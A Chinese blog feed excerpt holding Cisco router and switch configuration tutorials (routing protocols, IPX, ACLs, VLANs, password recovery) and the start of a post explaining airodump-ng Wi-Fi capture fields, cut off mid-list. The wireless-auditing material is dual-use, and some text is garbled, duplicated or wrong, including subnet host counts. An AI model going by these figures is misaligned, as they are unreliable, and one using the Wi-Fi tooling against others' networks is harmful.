202.96.0.2 10112225 broadcast<br/>!<br/>interface Serial1<br/>no ip address<br/>shutdown<br/>!<br/>!<br/>interface Async 1<br/>ip address 202.96.1.1 255.255.255.252<br/>encapsulation ppp<br/>dialer in-band<br/>dialer idle-timeout 60<br/>dialer map ip 202.96.1.2 name router2 modem-script cisco-default 2113470<br/>dialer-group 1<br/>ppp authentication chap<br/>!<br/>router eigrp 200<br/>redistribute connected<br/>network 202.96.0.0<br/>!<br/>ip route 202.96.37.0 255.255.255.0 202.96.1.2 200<br/>dialer-list 1 protocol ip permit<br/>line con 0<br/>line aux 0<br/>script dialer cisco-default<br/>script reset reset<br/>modem InOut<br/>modem autoconfigure discovery<br/>transport input all<br/>rxspeed 38400<br/>txspeed 38400<br/>flowcontrol hardware<br/>line vty 0 4<br/>password cisco<br/>login<br/>!<br/>end<br/>路由器Router2配置如下:<br/>hostname router2<br/>!<br/>enable secret 5 $1$T4IU$2cIqak8f/E4Ug6dLT0k.J0<br/>enable password cisco<br/>!<br/>username router1 password cisco<br/>ip subnet-zero<br/>chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT &#92;T" TIMEOUT 30 CONNECT &#92;c<br/>chat-script reset atz<br/>!<br/>interface Ethernet0<br/>ip address 202.96.37.100 255.255.255.0<br/>!<br/>interface Serial0<br/>ip address 202.96.0.2 255.255.255.0<br/>no ip mroute-cache<br/>encapsulation x25<br/>x25 address 10112225<br/>x25 htc 16<br/>x25 map ip 202.96.0.1 10112227 broadcast<br/>!<br/>interface Serial1<br/>no ip address<br/>shutdown<br/>!<br/>interface Async1<br/>ip address 202.96.1.2 255.255.255.252<br/>encapsulation ppp<br/>keepalive 30<br/>async default routing<br/>async mode dedicated<br/>dialer in-band<br/>dialer idle-timeout 60<br/>dialer wait-for-carrier-time 120<br/>dialer map ip 202.96.1.1 name router1 modem-script cisco-default 2113469<br/>dialer-group 1<br/>ppp authentication chap<br/>!<br/>router eigrp 200<br/>redistribute static<br/>network 202.96.0.0<br/>!<br/>no ip classless<br/>ip route 202.96.38.0 255.255.255.0 202.96.1.1 200<br/>dialer-list 1 protocol ip permit<br/>!<br/>line con 0<br/>exec-timeout 0 0<br/>line aux 0<br/>script reset reset<br/>modem InOut<br/>modem autoconfigure discovery<br/>transport input all<br/>rxspeed 38400<br/>txspeed 38400<br/>flowcontrol hardware<br/>line vty 0 4<br/>password cisco<br/>login<br/>!<br/>end<br/>　<br/>路由协议：<br/><br/>一、RIP协议 <br/>　<br/>RIP(Routing information Protocol)是应用较早、使用较普遍的内部网关协议(Interior Gateway Protocol,简称IGP)，适用于小型同类网络，是典型的距离向量(distance-vector)协议。文档见RFC1058、RFC1723。 <br/>RIP通过广播UDP报文来交换路由信息，每30秒发送一次路由信息更新。RIP提供跳跃计数(hop count)作为尺度来衡量路由距离，跳跃计数是一个包到达目标所必须经过的路由器的数目。如果到相同目标有二个不等速或不同带宽的路由器，但跳跃计数相同，则RIP认为两个路由是等距离的。RIP最多支持的跳数为15，即在源和目的网间所要经过的最多路由器的数目为15，跳数16表示不可达。<br/>1. 有关命令<br/>任务 命令 <br/>指定使用RIP协议 router rip <br/>指定RIP版本 version &#123;1&#124;2&#125;1 <br/>指定与该路由器相连的网络 network network <br/>注：1.Cisco的RIP版本2支持验证、密钥管理、路由汇总、无类域间路由(CIDR)和变长子网掩码(VLSMs) <br/>2. 举例<br/>Router1: <br/>router rip <br/>version 2 <br/>network 192.200.10.0 <br/>network 192.20.10.0 <br/>！ <br/>相关调试命令： <br/>show ip protocol <br/>show ip route<br/>　<br/>返回目录<br/>　<br/><br/>二、IGRP协议 <br/>　<br/>IGRP (Interior Gateway Routing Protocol)是一种动态距离向量路由协议，它由Cisco公司八十年代中期设计。使用组合用户配置尺度，包括延迟、带宽、可靠性和负载。 <br/>缺省情况下，IGRP每90秒发送一次路由更新广播，在3个更新周期内(即270秒)，没有从路由中的第一个路由器接收到更新，则宣布路由不可访问。在7个更新周期即630秒后，Cisco IOS 软件从路由表中清除路由。 <br/>1. 有关命令 <br/>任务 命令 <br/>指定使用RIP协议 router igrp autonomous-system1 <br/>指定与该路由器相连的网络 network network <br/>指定与该路由器相邻的节点地址 neighbor ip-address <br/>注：1、autonomous-system可以随意建立，并非实际意义上的autonomous-system,但运行IGRP的路由器要想交换路由更新信息其autonomous-system需相同。<br/>2．举例<br/>Router1: <br/>router igrp 200 <br/>network 192.200.10.0 <br/>network 192.20.10.0 <br/>!<br/><br/>三、OSPF协议 <br/>　<br/>OSPF(Open Shortest Path First)是一个内部网关协议(Interior Gateway Protocol,简称IGP)，用于在单一自治系统(autonomous system,AS)内决策路由。与RIP相对，OSPF是链路状态路有协议，而RIP是距离向量路由协议。 <br/>链路是路由器接口的另一种说法，因此OSPF也称为接口状态路由协议。OSPF通过路由器之间通告网络接口的状态来建立链路状态数据库，生成最短路径树，每个OSPF路由器使用这些最短路径构造路由表。 <br/>文档见RFC2178。 <br/>1．有关命令 <br/>全局设置 <br/>任务 命令 <br/>指定使用OSPF协议 router ospf process-id1 <br/>指定与该路由器相连的网络 network address wildcard-mask area area-id2 <br/>指定与该路由器相邻的节点地址 neighbor ip-address <br/>注：1、OSPF路由进程process-id必须指定范围在1-65535，多个OSPF进程可以在同一个路由器上配置，但最好不这样做。多个OSPF进程需要多个OSPF数据库的副本，必须运行多个最短路径算法的副本。process-id只在路由器内部起作用，不同路由器的process-id可以不同。 <br/>2、wildcard-mask 是子网掩码的反码, 网络区域ID area-id在0-4294967295内的十进制数，也可以是带有IP地址格式的x.x.x.x。当网络区域ID为0或0.0.0.0时为主干域。不同网络区域的路由器通过主干域学习路由信息。<br/>2．基本配置举例:<br/>Router1: <br/>interface ethernet 0 <br/>ip address 192.1.0.129 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.5 255.255.255.252 <br/>! <br/>router ospf 100 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.128 0.0.0.63 area 1 <br/>! <br/>Router2: <br/>interface ethernet 0 <br/>ip address 192.1.0.65 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.6 255.255.255.252 <br/>! <br/>router ospf 200 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.64 0.0.0.63 area 2 <br/>! <br/>Router3: <br/>interface ethernet 0 <br/>ip address 192.1.0.130 255.255.255.192 <br/>! <br/>router ospf 300 <br/>network 192.1.0.128 0.0.0.63 area 1 <br/>! <br/>Router4: <br/>interface ethernet 0 <br/>ip address 192.1.0.66 255.255.255.192 <br/>! <br/>router ospf 400 <br/>network 192.1.0.64 0.0.0.63 area 1 <br/>! <br/>相关调试命令： <br/>debug ip ospf events <br/>debug ip ospf packet <br/>show ip ospf <br/>show ip ospf database <br/>show ip ospf interface <br/>show ip ospf neighbor <br/>show ip route <br/>3. 使用身份验证 <br/>为了安全的原因，我们可以在相同OSPF区域的路由器上启用身份验证的功能，只有经过身份验证的同一区域的路由器才能互相通告路由信息。 <br/>在默认情况下OSPF不使用区域验证。通过两种方法可启用身份验证功能，纯文本身份验证和消息摘要(md5)身份验证。纯文本身份验证传送的身份验证口令为纯文本，它会被网络探测器确定，所以不安全，不建议使用。而消息摘要(md5)身份验证在传输身份验证口令前，要对口令进行加密，所以一般建议使用此种方法进行身份验证。 <br/>使用身份验证时，区域内所有的路由器接口必须使用相同的身份验证方法。为起用身份验证，必须在路由器接口配置模式下，为区域的每个路由器接口配置口令。 <br/>任务 命令 <br/>指定身份验证 area area-id authentication [message-digest] <br/>使用纯文本身份验证 ip ospf authentication-key password <br/>使用消息摘要(md5)身份验证 ip ospf message-digest-key keyid md5 key <br/>以下列举两种验证设置的示例，示例的网络分布及地址分配环境与以上基本配置举例相同，只是在Router1和Router2的区域0上使用了身份验证的功能。:<br/>例1.使用纯文本身份验证 <br/>Router1: <br/>interface ethernet 0 <br/>ip address 192.1.0.129 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.5 255.255.255.252 <br/>ip ospf authentication-key cisco <br/>! <br/>router ospf 100 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.128 0.0.0.63 area 1 <br/>area 0 authentication <br/>! <br/>Router2: <br/>interface ethernet 0 <br/>ip address 192.1.0.65 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.6 255.255.255.252 <br/>ip ospf authentication-key cisco <br/>! <br/>router ospf 200 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.64 0.0.0.63 area 2 <br/>area 0 authentication <br/>! <br/>例2.消息摘要(md5)身份验证： <br/>Router1: <br/>interface ethernet 0 <br/>ip address 192.1.0.129 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.5 255.255.255.252 <br/>ip ospf message-digest-key 1 md5 cisco <br/>! <br/>router ospf 100 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.128 0.0.0.63 area 1 <br/>area 0 authentication message-digest <br/>! <br/>Router2: <br/>interface ethernet 0 <br/>ip address 192.1.0.65 255.255.255.192 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.6 255.255.255.252 <br/>ip ospf message-digest-key 1 md5 cisco <br/>! <br/>router ospf 200 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>network 192.1.0.64 0.0.0.63 area 2 <br/>area 0 authentication message-digest <br/>! <br/>相关调试命令： <br/>debug ip ospf adj <br/>debug ip ospf events <br/>　<br/>返回目录<br/>　<br/>四、重新分配路由 <br/>　<br/>在实际工作中，我们会遇到使用多个IP路由协议的网络。为了使整个网络正常地工作，必须在多个路由协议之间进行成功的路由再分配。<br/>以下列举了OSPF与RIP之间重新分配路由的设置范例： <br/><br/>Router1的Serial 0端口和Router2的Serial 0端口运行OSPF，在Router1的Ethernet 0端口运行RIP 2，Router3运行RIP2，Router2有指向Router4的192.168.2.0/24网的静态路由，Router4使用默认静态路由。需要在Router1和Router3之间重新分配OSPF和RIP路由，在Router2上重新分配静态路由和直连的路由。 <br/>范例所涉及的命令 <br/>任务 命令 <br/>重新分配直连的路由 redistribute connected <br/>重新分配静态路由 redistribute static <br/>重新分配ospf路由 redistribute ospf process-id metric metric-value <br/>重新分配rip路由 redistribute rip metric metric-value <br/>Router1: <br/>interface ethernet 0 <br/>ip address 192.168.1.1 255.255.255.0 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.5 255.255.255.252 <br/>! <br/>router ospf 100 <br/>redistribute rip metric 10 <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>! <br/>router rip <br/>version 2 <br/>redistribute ospf 100 metric 1 <br/>network 192.168.1.0 <br/>! <br/>Router2: <br/>interface loopback 1 <br/>ip address 192.168.3.2 255.255.255.0 <br/>! <br/>interface ethernet 0 <br/>ip address 192.168.0.2 255.255.255.0 <br/>! <br/>interface serial 0 <br/>ip address 192.200.10.6 255.255.255.252 <br/>! <br/>router ospf 200 <br/>redistribute connected subnet <br/>redistribute static subnet <br/>network 192.200.10.4 0.0.0.3 area 0 <br/>! <br/>ip route 192.168.2.0 255.255.255.0 192.168.0.1 <br/>！ <br/>Router3: <br/>interface ethernet 0 <br/>ip address 192.168.1.2 255.255.255.0 <br/>! <br/>router rip <br/>version 2 <br/>network 192.168.1.0 <br/>! <br/>Router4: <br/>interface ethernet 0 <br/>ip address 192.168.0.1 255.255.255.0 <br/>! <br/>interface ethernet 1 <br/>ip address 192.168.2.1 255.255.255.0 <br/>! <br/>ip route 0.0.0.0 0.0.0.0 192.168.0.2 <br/>! <br/>　<br/><br/>五、IPX协议设置 <br/>　<br/>IPX协议与IP协议是两种不同的网络层协议，它们的路由协议也不一样，IPX的路由协议不象IP的路由协议那样丰富，所以设置起来比较简单。但IPX协议在以太网上运行时必须指定封装形式。 <br/>1． 有关命令 <br/>启动IPX路由 ipx routing <br/>设置IPX网络及以太网封装形式 ipx network network [encapsulation encapsulation-type]1 <br/>指定路由协议，默认为RIP ipx router &#123;eigrp autonomous-system-number &#124; nlsp [tag] &#124; rip&#125; <br/>注：1.network 范围是1 到FFFFFFFD. <br/>IPX封装类型列表 <br/>接口类型 封装类型 IPX帧类型 <br/>Ethernet novell-ether (默认) arpa sap snap Ethernet_802.3 Ethernet_II Ethernet_802.2 Ethernet_Snap <br/>Token Ring sap (默认) snap Token-Ring Token-Ring_Snap <br/>FDDI snap (默认) sap novell-fddi Fddi_Snap Fddi_802.2 Fddi_Raw <br/>举例：<br/>在此例中，WAN的IPX网络为3a00,Router1所连接的局域网IPX网络号为2a00,在此局域网有一台Novell服务器，IPX网络号也是2a00, 路由器接口的IPX网络号必须与在同一网络的Novell服务器上设置的IPX网络号相同。路由器通过监听SAP来建立已知的服务及自己的网络地址表，并每60秒发送一次自己的SAP表。<br/>Router1: <br/>ipx routing <br/>interface ethernet 0 <br/>ipx network 2a00 encapsulation sap <br/>! <br/>interface serial 0 <br/>ipx network 3a00 <br/>! <br/>ipx router eigrp 10 <br/>network 3a00 <br/>network 2a00 <br/>! <br/><br/>Router2: <br/>ipx routing <br/>interface ethernet 0 <br/>ipx network 2b00 encapsulation sap <br/>! <br/>interface serial 0 <br/>ipx network 3a00 <br/>! <br/>ipx router eigrp 10 <br/>network 2b00 <br/>network 3a00 <br/>! <br/>相关调试命令： <br/>debug ipx packet <br/>debug ipx routing <br/>debug ipx sap <br/>debug ipx spoof <br/>debug ipx spx <br/>show ipx eigrp interfaces <br/>show ipx eigrp neighbors <br/>show ipx eigrp topology <br/>show ipx interface <br/>show ipx route <br/>show ipx servers <br/>show ipx spx-spoof <br/>　<br/>五、IPX协议设置 <br/>　<br/>IPX协议与IP协议是两种不同的网络层协议，它们的路由协议也不一样，IPX的路由协议不象IP的路由协议那样丰富，所以设置起来比较简单。但IPX协议在以太网上运行时必须指定封装形式。 <br/>1． 有关命令 <br/>启动IPX路由 ipx routing <br/>设置IPX网络及以太网封装形式 ipx network network [encapsulation encapsulation-type]1 <br/>指定路由协议，默认为RIP ipx router &#123;eigrp autonomous-system-number &#124; nlsp [tag] &#124; rip&#125; <br/>注：1.network 范围是1 到FFFFFFFD. <br/>IPX封装类型列表 <br/>接口类型 封装类型 IPX帧类型 <br/>Ethernet novell-ether (默认) arpa sap snap Ethernet_802.3 Ethernet_II Ethernet_802.2 Ethernet_Snap <br/>Token Ring sap (默认) snap Token-Ring Token-Ring_Snap <br/>FDDI snap (默认) sap novell-fddi Fddi_Snap Fddi_802.2 Fddi_Raw <br/>举例：<br/>在此例中，WAN的IPX网络为3a00,Router1所连接的局域网IPX网络号为2a00,在此局域网有一台Novell服务器，IPX网络号也是2a00, 路由器接口的IPX网络号必须与在同一网络的Novell服务器上设置的IPX网络号相同。路由器通过监听SAP来建立已知的服务及自己的网络地址表，并每60秒发送一次自己的SAP表。<br/>Router1: <br/>ipx routing <br/>interface ethernet 0 <br/>ipx network 2a00 encapsulation sap <br/>! <br/>interface serial 0 <br/>ipx network 3a00 <br/>! <br/>ipx router eigrp 10 <br/>network 3a00 <br/>network 2a00 <br/>! <br/><br/>Router2: <br/>ipx routing <br/>interface ethernet 0 <br/>ipx network 2b00 encapsulation sap <br/>! <br/>interface serial 0 <br/>ipx network 3a00 <br/>! <br/>ipx router eigrp 10 <br/>network 2b00 <br/>network 3a00 <br/>! <br/>相关调试命令： <br/>debug ipx packet <br/>debug ipx routing <br/>debug ipx sap <br/>debug ipx spoof <br/>debug ipx spx <br/>show ipx eigrp interfaces <br/>show ipx eigrp neighbors <br/>show ipx eigrp topology <br/>show ipx interface <br/>show ipx route <br/>show ipx servers <br/>show ipx spx-spoof <br/>　<br/><br/>4、、、章 服务质量及访问控制<br/><br/>一、协议优先级设置 <br/>　<br/>1．有关命令 <br/>任务 命令 <br/>设置优先级表项目 priority-list list-number protocol protocol &#123;high &#124; medium &#124; normal &#124; low&#125; queue-keyword keyword-value <br/>使用指定的优先级表 priority-group list-number <br/><br/>2．举例 <br/>Router1: <br/>priority-list 1 protocol ip high tcp telnet <br/>priority-list 1 protocol ip low tcp ftp <br/>priority-list 1 default normal <br/>interface serial 0 <br/><br/>priority-group 1<br/>　<br/>返回目录<br/>　<br/>二、队列定制 <br/>　<br/>1．有关命令 <br/>任务 命令 <br/>设置队列表中包含协议 queue-list list-number protocol protocol-name queue-number queue-keyword keyword-value <br/>设置队列表中队列的大小 queue-list list-number queue queue-number byte-count byte-count-number <br/>使用指定的队列表 custom-queue-list list <br/><br/>2．举例<br/>Router1:<br/>queue-list 1 protocol ip 0 tcp telnet <br/>queue-list 1 protocol ip 1 tcp www <br/>queue-list 1 protocol ip 2 tcp ftp <br/>queue-list 1 queue 0 byte-count 300 <br/>queue-list 1 queue 1 byte-count 200 <br/>queue-list 1 queue 2 byte-count 100 <br/>interface serial 0 <br/><br/>custom-queue-list 1<br/>返回目录<br/>　三、访问控制 <br/>　<br/>1．有关命令 <br/>任务 命令 <br/>设置访问表项目 access-list list &#123;permit &#124; deny&#125; address mask <br/>设置队列表中队列的大小 queue-list list-number queue queue-number byte-count byte-count-number <br/>使用指定的访问表 ip access-group list &#123;in &#124; out&#125; <br/>2．举例<br/>Router1: <br/>access-list 1 deny 192.1.3.0 0.0.0.255 <br/>access-list 1 permit any <br/>interface serial 0 <br/><br/>ip access-group 1 in<br/>　<br/>返回目录<br/>　<br/>虚拟局域网（VLAN）路由 <br/><br/>一、虚拟局域网(VLAN)<br/>当前在我们构造企业网络时所采用的主干网络技术一般都是基于交换和虚拟网络的。交换技术将共享介质改为独占介质,大大提高网络速度。虚拟网络技术打破了地理环境的制约,在不改动网络物理连接的情况下可以任意将工作站在工作组或子网之间移动,工作站组成逻辑工作组或虚拟子网,提高信息系统的运作性能,均衡网络数据流量,合理利用硬件及信息资源。同时,利用虚拟网络技术,大大减轻了网络管理和维护工作的负担,降低网络维护费用。随着虚拟网络技术的应用，随之必然产生了在虚拟网间如何通讯的问题．<br/>　<br/>　<br/>返回目录<br/>　<br/>二、交换机间链路（ISL）协议<br/>　　ISL(Interior Switching Link)协议用于实现交换机间的VLAN中继。它是一个信息包标记协议，在支持ISL接口上发送的帧由一个标准以太网帧及相关的VLAN信息组成。如下图所示，在支持ISL的接口上可以传送来自不同VLAN的数据。<br/><br/>　<br/><br/>三、虚拟局域网（VLAN）路由实例<br/>　<br/>3.1. 例一：<br/>　<br/><br/>设备选用Catalyst5500交换机1台，安装WS-X5530-E3管理引擎，多块WS-X5225R及WS-X5302路由交换模块,WS-X5302被直接插入交换机，通过二个通道与系统背板上的VLAN 相连，从用户角度看认为它是1个1接口的模块，此接口支持ISL。在交换机内划有3个虚拟网，分别名为default、qbw、rgw，通过WS-X5302实现虚拟网间路由。 <br/>以下加重下横线部分，如set system name 5500C为需设置的命令。<br/>设置如下：<br/>Catalyst 5500配置：<br/>begin<br/>set password $1$FMFQ$HfZR5DUszVHIRhrz4h6V70<br/>set enablepass $1$FMFQ$HfZR5DUszVHIRhrz4h6V70<br/>set prompt Console><br/>set length 24 default<br/>set logout 20<br/>set banner motd ^C^C<br/>!<br/>#system<br/>set system baud 9600<br/>set system modem disable<br/>set system name 5500C <br/>set system location<br/>set system contact <br/>!<br/>#ip<br/>set interface sc0 1 10.230.4.240 255.255.255.0 10.230.4.255 <br/>set interface sc0 up<br/>set interface sl0 0.0.0.0 0.0.0.0<br/>set interface sl0 up<br/>set arp agingtime 1200<br/>set ip redirect enable<br/>set ip unreachable enable<br/>set ip fragmentation enable<br/>set ip route 0.0.0.0 10.230.4.15 1 <br/>set ip alias default 0.0.0.0<br/>!<br/>#Command alias<br/>!<br/>#vtp<br/>set vtp domain hne <br/>set vtp mode server <br/>set vtp v2 disable<br/>set vtp pruning disable<br/>set vtp pruneeligible 2-1000<br/>clear vtp pruneeligible 1001-1005<br/>set vlan 1 name default type ethernet mtu 1500 said 100001 state active <br/>set vlan 777 name rgw type ethernet mtu 1500 said 100777 state active <br/>set vlan 888 name qbw type ethernet mtu 1500 said 100888 state active <br/>set vlan 1002 name fddi-default type fddi mtu 1500 said 101002 state active<br/>set vlan 1004 name fddinet-default type fddinet mtu 1500 said 101004 state active bridge 0x0 stp ieee<br/>set vlan 1005 name trnet-default type trbrf mtu 1500 said 101005 state active bridge 0x0 stp ibm<br/>set vlan 1003 name token-ring-default type trcrf mtu 1500 said 101003 state active parent 0 ring 0x0 mode srb aremaxhop 7 stemaxhop 7<br/>!<br/>#set boot command<br/>set boot config-register 0x102<br/>set boot system flash bootflash:cat5000-sup3.4-3-1a.bin<br/>!<br/>#module 1 : 2-port 1000BaseLX Supervisor<br/>set module name 1 <br/>set vlan 1 1/1-2<br/>set port enable 1/1-2<br/>!<br/>#module 2 : empty<br/>!<br/>#module 3 : 24-port 10/100BaseTX Ethernet<br/>set module name 3 <br/>set module enable 3<br/>set vlan 1 3/1-22 <br/>set vlan 777 3/23 <br/>set vlan 888 3/24 <br/>set trunk 3/1 on isl 1-1005 <br/>#module 4 empty<br/>!<br/>#module 5 empty<br/>!<br/>#module 6 : 1-port Route Switch<br/>set module name 6 <br/>set port level 6/1 normal<br/>set port trap 6/1 disable<br/>set port name 6/1<br/>set cdp enable 6/1<br/>set cdp interval 6/1 60<br/>set trunk 6/1 on isl 1-1005 <br/>!<br/>#module 7 : 24-port 10/100BaseTX Ethernet<br/>set module name 7 <br/>set module enable 7<br/>set vlan 1 7/1-22 <br/>set vlan 888 7/23-24 <br/>set trunk 7/1 on isl 1-1005 <br/>set trunk 7/2 on isl 1-1005 <br/>!<br/>#module 8 empty<br/>!<br/>#module 9 empty<br/>!<br/>#module 10 : 12-port 100BaseFX MM Ethernet<br/>set module name 10 <br/>set module enable 10<br/>set vlan 1 10/1-12<br/>set port channel 10/1-4 off<br/>set port channel 10/5-8 off<br/>set port channel 10/9-12 off<br/>set port channel 10/1-2 on<br/>set port channel 10/3-4 on<br/>set port channel 10/5-6 on<br/>set port channel 10/7-8 on<br/>set port channel 10/9-10 on<br/>set port channel 10/11-12 on<br/>#module 11 empty<br/>!<br/>#module 12 empty<br/>!<br/>#module 13 empty<br/>!<br/>#switch port analyzer<br/>!set span 1 1/1 both inpkts disable<br/>set span disable<br/>!<br/>#cam<br/>set cam agingtime 1-2,777,888,1003,1005 300<br/>end<br/>5500C> (enable)<br/>WS-X5302路由模块设置：<br/>Router#wri t<br/>Building configuration...<br/>Current configuration:<br/>!<br/>version 11.2<br/>no service password-encryption<br/>no service udp-small-servers<br/>no service tcp-small-servers<br/>!<br/>hostname Router<br/>!<br/>enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.<br/>!<br/>ip subnet-zero<br/>!<br/>interface Vlan1 <br/>ip address 10.230.2.56 255.255.255.0 <br/>!<br/>interface Vlan777 <br/>ip address 10.230.3.56 255.255.255.0 <br/>!<br/>interface Vlan888 <br/>ip address 10.230.4.56 255.255.255.0 <br/>!<br/>no ip classless<br/>!<br/>line con 0<br/>line aux 0<br/>line vty 0 4<br/>password router<br/>login<br/>!<br/>end<br/>Router#<br/>3.1. 例二：<br/>交换设备仍选用Catalyst5500交换机1台，安装WS-X5530-E3管理引擎，多块WS-X5225R在交换机内划有3个虚拟网，分别名为default、qbw、rgw，通过Cisco3640路由器实现虚拟网间路由。交换机设置与例一类似。<br/>路由器Cisco3640，配有一块NM-1FE-TX模块，此模块带有一个快速以太网接口可以支持ISL。Cisco3640快速以太网接口与交换机上的某一支持ISL的端口实现连接，如交换机第3槽第1个接口（3/1口）。<br/>Router#wri t<br/>Building configuration... <br/>Current configuration:<br/>!<br/>version 11.2<br/>no service password-encryption<br/>no service udp-small-servers<br/>no service tcp-small-servers<br/>!<br/>hostname Router<br/>!<br/>enable secret 5 $1$w1kK$AJK69fGOD7BqKhKcSNBf6.<br/>!<br/>ip subnet-zero<br/>!<br/>interface FastEthernet1/0<br/>!<br/>interface FastEthernet1/0.1 <br/>encapsulation isl 1 <br/>ip address 10.230.2.56 255.255.255.0 <br/>!<br/>interface FastEthernet1/0.2 <br/>encapsulation isl 777 <br/>ip address 10.230.3.56 255.255.255.0 <br/>!<br/>interface FastEthernet1/0.3 <br/>encapsulation isl 888 <br/>ip address 10.230.4.56 255.255.255.0 <br/>!<br/>no ip classless<br/>!<br/>line con 0<br/>line aux 0<br/>line vty 0 4<br/>password router<br/>login<br/>!<br/>end<br/>Router#<br/>　<br/>返回目录<br/><br/>参考参考： <br/>　<br/>1、Cisco路由器口令恢复 <br/>当Cisco路由器的口令被错误修改或忘记时，可以按如下步骤进行操作：<br/>1. 开机时按<Ctrl+Break>使进入ＲOM监控状态<br/>2. 按o 命令读取配置寄存器的原始值<br/>> o 一般值为0x2102<br/>3. 作如下设置，使忽略NVRAM引导<br/>>o/r0x**4* Cisco2500系列命令 <br/>rommon 1 >confreg 0x**4* Cisco2600、1600系列命令<br/>一般正常值为0x2102 <br/>4. 重新启动路由器<br/>>I <br/>rommon 2 >reset <br/>5. 在“Setup”模式，对所有问题回答No<br/>6. 进入特权模式<br/>Router>enable<br/>7. 下载NVRAM<br/>Router>configure memory <br/>8. 恢复原始配置寄存器值并激活所有端口<br/>“hostname”#configure terminal<br/>“hostname”(config)#config-register 0x“value”<br/>“hostname”(config)#interface xx <br/>“hostname”(config)#no shutdown <br/>9. 查询并记录丢失的口令<br/>“hostname”#show configuration (show startup-config)<br/>10. 修改口令<br/>“hostname”#configure terminal <br/>“hostname”(config)line console 0<br/>“hostname”(config-line)#login<br/>“hostname”(config-line)#password xxxxxxxxx<br/>“hostname”(config-line)#<ctrl+z><br/>“hostname”(config-line)#write memory(copy running-config startup-config) <br/>2、IP地址分配 <br/>地址类 网络主机 网络地址范围 标准二进制掩码<br/>Ａ N.H.H.H 1-126 1111 1111 0000 0000 0000 0000 0000 0000<br/>Ｂ N.N.H.H 128-191 1111 1111 1111 1111 0000 0000 0000 0000<br/>Ｃ N.N.N.H 192-223 1111 1111 1111 1111 1111 1111 0000 0000<br/><br/>子网位个数 子网掩码 子网数 主机数<br/>B类地址 <br/>2 255.255.192.0 2 16382<br/>3 255.255.224.0 6 8198<br/>4 255.255.240.0 14 4894<br/>5 255.255.248.0 30 2846<br/>6 255.255.252.0 62 1822<br/>7 255.255.254.0 126 518<br/>8 255.255.255.0 254 254<br/>9 255.255.255.128 518 126<br/>10 255.255.255.192 1822 62<br/>11 255.255.255.224 2846 30<br/>12 255.255.255.240 4894 14<br/>13 255.255.255.248 8198 6<br/>14 255.255.255.252 16382 2<br/>C类地址 <br/>2 255.255.255.192 2 62<br/>3 255.255.255.224 6 30<br/>4 255.255.255.240 14 14<br/>5 255.255.255.248 30 6<br/>6 255.255.255.252 62 2<br/><br/>Tags - <a href="http://www.fkdj8.com/tags/cisco/" rel="tag">cisco</a> , <a href="http://www.fkdj8.com/tags/%25E8%25B7%25AF%25E7%2594%25B1/" rel="tag">路由</a> , <a href="http://www.fkdj8.com/tags/%25E5%2591%25BD%25E4%25BB%25A4/" rel="tag">命令</a> , <a href="http://www.fkdj8.com/tags/%25E8%25AE%25BE%25E7%25BD%25AE/" rel="tag">设置</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/57/</link>
<title><![CDATA[airodump-ng界面参数比较详细的解释]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Sat, 15 May 2010 10:13:54 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/57/</guid> 
<description>
<![CDATA[ 
	个人感觉不错的教程，翻译部分过来给大家看看，希望有帮助，原文是aircrack-ng官方网站的教程。<br/>BSSID AP的MAC地址，如果在client section中BSSID显示为“（not associated）”，那么意味着该客户端没有和AP连接上。这种unassociated状态下，它正在搜索能够连接上的AP<br/> 网卡报告的信号水平，它主要取决与驱动，当信号值越高时说明你离AP或电脑越近。如果一个BSSID的PWR是-1，说明网卡的驱动不支持报告信号水平。如果是部分客户端的PWR为-1，那么说明该客户端不在你网卡能监听到的范围内，但是你能捕捉到AP发往该客户端的数据。如果所有的客户端PWR值都为-1，那么说明网卡驱动不支持信号水平报告。<br/>RRXQ 接收质量，它用过去10秒钟内成功接收到的分组（管理和数据帧）的百分比来衡量。更详细的解释请看下面的注解。<br/>AP发出的通告编号，每个接入点（AP）在最低速率（1M）时差不多每秒会发送10个左右的beacon，所以它们能在很远的地方就被发现。<br/>#Data 被捕获到的数据分组的数量（如果是WEP，则代表唯一IV的数量），包括广播分组。<br/>#/s 过去10秒钟内每秒捕获数据分组的数量<br/>CH 信道号（从beacon中获取）<br/>MB AP所支持的最大速率，如果MB=11，它是802.11b，如果MB=22，它是802.11b+，如果更高就是802.11g。后面的点（高于54之后）表明支持短前导码（short preamble）。<br/>& &#124;, U; I: O6 M2 M' p$ zENC 使用的加密算法体系。OPN=无加密， “WEP?”=WEP或者更高（没有足够的数据来选择（WEP与WPA/WPA2）），WEP（没有问号）表明静态或动态WEP，如果出现TKIP或CCMP，那么就是WPA/WPA2。<br/>CIPHER 检测到的加密算法，CCMP，WRAAP，TKIP，WEP，WEP40或者WEP104中的一个。典型的来说（不是一定的），TKIP与WPA结合使用，CCMP与WPA2结合使用。如果密钥索引值（key index）大于0，显示为WEP40。标准情况下索引0-3是40bit，104bit应该是0。<br/>AUTH 使用的认证协议。 以下的其中一种：MGT（WPA/WPA2使用独立的认证服务器，平时我们常说的802.1x，radius，eap等），SKA（WEP的共享密钥），PSK（WPA/WPA2的预共享密钥），或者OPN（WEP开放式）<br/>ESSID 所谓的“SSID”，如果启用隐藏SSID的话它可以为空，这种情况下airodump-ng试图从probe responses和association requests中获取ssid<br/>USTATION 客户端的MAC地址，包括连上的和想要搜索AP来连接的客户端。如果客户端没有连接上，就在BSSID下显示“not associated”, <br/>Lost 